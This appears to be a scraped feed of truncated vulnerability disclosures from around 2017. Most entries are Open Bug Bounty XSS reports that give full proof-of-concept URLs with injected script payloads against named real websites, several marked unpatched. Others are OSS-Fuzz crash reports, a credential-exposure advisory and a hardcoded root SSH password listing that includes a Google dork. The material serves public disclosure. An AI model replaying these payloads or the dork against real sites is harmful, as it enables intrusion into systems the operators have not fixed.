cecilcounty.us XSS vulnerability

Vulnerable URL: http://www.cecilcounty.us/ccmaps/displayMap.cfm?Filename=BlueballInvestmentGroupPrelim714PC.jpg"%27%20Style=position:fixed;top:0;left:0;font-size:999px;%20Onmouseenter=confirm/OPENBUGBOUNTY/%20//=Mendenhall%20Square%20Blueball%20Investments=04/18/2014==0=1198=2=2 Details:...

uapress.ua.edu XSS vulnerability

Vulnerable URL: http://www.uapress.ua.edu/Catalog/ProductSearch.aspx?ExtendedSearch=false=true=Religion"'--!=1091 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

mapiripan-meta.gov.co XSS vulnerability

Open Bug Bounty ID: OBB-246992 Description| Value ---|--- Affected Website:| mapiripan-meta.gov.co Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

iheart.com XSS vulnerability

Vulnerable URL: http://www.iheart.com/artist/soundsville-207737/songs/a-little-34-for-gof-company-20887354"'--!// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2087 VIP website...

inclineclub.com XSS vulnerability

Vulnerable URL: http://inclineclub.com/mail.asp?name=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4386926 VIP website status:| No Check...

cedatec.com XSS vulnerability

Vulnerable URL: http://www.cedatec.com/zoom.asp?image=/img2115.jpg"-alert'OPENBUGBOUNTY'-" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12607507 VIP website status:| No Check...

rovers.co.uk XSS vulnerability

Vulnerable URL: http://www.rovers.co.uk/news/article/2016-17/corrie-star-peter-gunn-rover-60-3728486.aspx/'-alert'OPENBUGBOUNTY'-' Details: Description| Value ---|--- Patched:| Yes, at 08.06.2017 Latest check for patch:| 08.06.2017 14:14 GMT Vulnerability type:| XSS Vulnerability status:| Publicl...

n_providence.explore-rhodeisland.us XSS vulnerability

Vulnerable URL: http://nprovidence.explore-rhodeisland.us/Profile/Demographicsbyzipcode.asp?zipcode=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated V...

acmp.ru XSS vulnerability

Vulnerable URL: https://acmp.ru/index.asp?main=rating=d%22%27%20type=image%20src=x%20onerror=alert%27OPENBUGBOUNTY%27%20%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 182658 VI...

wget2: Stack-buffer-overflow in getScriptContent

Project: https://gitlab.com/gnuwget/wget2.git Detailed report: https://oss-fuzz.com/testcase?key=4704516446355456 Project: wget2 Fuzzer: libFuzzerwget2libwgetxmlparsebufferfuzzer Fuzz target binary: libwgetxmlparsebufferfuzzer Job Type: libfuzzerasanwget2 Platform Id: linux Crash Type:...

gdal: Heap-buffer-overflow in gbits

Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=6390133953658880 Project: gdal Fuzzer: libFuzzergdalfuzzer Fuzz target binary: gdalfuzzer Job Type: libfuzzerasangdal Platform Id: linux Crash Type: Heap-buffer-overflow READ 1 Crash Address:...

americantrophies.net XSS vulnerability

Vulnerable URL: http://americantrophies.net/awardform.php?partnumber=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated V...

Share tokens for public calendars disclosed - ownCloud

A logical error caused disclosure of valid share tokens for public calendars. Thus granting an attacker potentially access to publicly shared calendars without knowing the share token. Affected Software ownCloud Server 10.0.2 CVE-2017-9339 Action Taken The error has been fixed and regression test...

ffmpeg: Stack-buffer-overflow in put_bilin_2d_hv_c

Project: https://git.ffmpeg.org/ffmpeg.git Detailed report: https://oss-fuzz.com/testcase?key=6266250911023104 Project: ffmpeg Fuzzer: libFuzzerffmpegAVCODECIDVP9fuzzer Job Type: libfuzzerasanffmpeg Platform Id: linux Crash Type: Stack-buffer-overflow WRITE 2 Crash Address: 0x7f33441d38a0 Crash...

gdal: Heap-buffer-overflow in ILI1Reader::ReadParseLine

Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=6710597422940160 Project: gdal Fuzzer: libFuzzergdalogrfuzzer Fuzz target binary: ogrfuzzer Job Type: libfuzzerasangdal Platform Id: linux Crash Type: Heap-buffer-overflow READ 8 Crash Address:...

WordPress Social-Stream 1.6.0 Twitter API Secret Disclosure

Wordpress Plugin Social-Stream - Exposure of Twitter API Secret Keys CWE-522 :Insufficiently Protected Credentials Products: Wordpress Social Stream Versions 1.6.0 and lower https://codecanyon.net/item/wordpress-social-stream/2201708 Social Network Tabs Versions 1.7.4 and lower...

business.33z.net Open Redirect vulnerability

Vulnerable URL: http://business.33z.net/go.pl?go=www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Che...

affcc.uk XSS vulnerability

Vulnerable URL: http://www.affcc.uk/results/afcc.php?=photographer=digit=Sally%20Protheroe Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

gws-wohnen.de XSS vulnerability

Vulnerable URL: http://www.gws-wohnen.de/default.aspx/G/111327/L/1031/R/-1/T/111427/A/1/PM/1/ID/127641/Z/'%22--!%3E%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability...

Tecnovision DLX Spot - SSH Backdoor Access

Exploit Title: DlxSpot - Player4 LED video wall - Hardcoded Root SSH Password. Google Dork: "DlxSpot - Player4" Date: 2017-05-14 Discoverer: Simon Brannstrom Authors Website: https://unknownpwn.github.io/ Vendor Homepage: http://www.tecnovision.com/ Software Link: n/a Version: All known versions...